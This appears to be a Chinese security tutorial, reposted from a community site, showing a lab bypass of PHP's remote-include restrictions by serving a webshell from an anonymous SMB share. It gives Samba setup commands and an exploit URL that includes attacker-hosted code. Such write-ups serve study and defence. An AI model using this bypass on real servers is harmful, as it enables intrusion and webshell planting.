这篇文章我将演示利用远程文件包含(RFI)漏洞的一些技术,用于演示的PHP程序设置为易受"文件包含攻击"。我们的PHP环境配置为不允许从远端HTTP/FTP URL包含文件,但我仍可以绕过远程URL包含的限制,实施利用RFI。
PHP配置文件默认设置"allow_url_include"为"Off",限制PHP从远程加载HTTP/FTP URLs,这有效地防止了远程文件包含攻击。但是,即使PHP的"allow_url_include" 和 "allow_url_fopen" 都设置为“Off”,SMB URL也可以加载。通过滥用PHP的这个特性,可以实现从远程主机的SMB共享中加载 PHP webshell。
如果存在缺陷的PHP程序要从攻击者控制的SMB共享加载PHP webshell,SMB共享应当赋予访问该文件的权限。攻击者需配置开启SMB服务器的匿名访问。配置后程序如要访问SMB共享中的webshell,SMB服务器将不会要求提供凭据,从而成功包含webshell。
受害者机器应当配置"allow_url_include" 和 "allow_url_fopen" 为“Off”,我使用的PHP版本为"5.5.11":
在正式开始之前,确认代码的确不允许通过HTTP从远程主机读取webshell:
程序抛出错误,尝试RFI失败。
先安装SAMBA服务器:
apt-get install samba
创建SMB共享目录:
mkdir /var/www/html/pub/
赋予新创建的SMB共享目录权限:
chmod 0555 /var/www/html/pub/ chown -R nobody:nogroup /var/www/html/pub/
移除SAMBA服务器的默认配置文件内容:
echo > /etc/samba/smb.conf
把下面的内容填充到'/etc/samba/smb.conf' :
[global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ica] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 force user = nobody
重启SAMBA服务器使/etc/samba/smb.conf 的新配置生效:
service smbd restart
重启后,(使用局域网中的另一台主机)尝试访问SMB共享,确认SAMBA服务器不会要求提供凭据。在本例中,SAMBA服务器IP为:192.168.0.3,如需在windows中访问SMB,我需输入: \\192.168.0.3\
OK,我们可以访问SMB共享,即"ica"文件夹。
SMB共享的"ica"目录的真实地址为"/var/www/html/pub",上传一个webshell:
访问\\192.168.0.3\ica\
,可以看到马子:
使用包含wenshell的SMB链接作为远程包含的URL:
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php
Duang!成功绕过PHP远程文件包含的限制。
转自先知社区
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.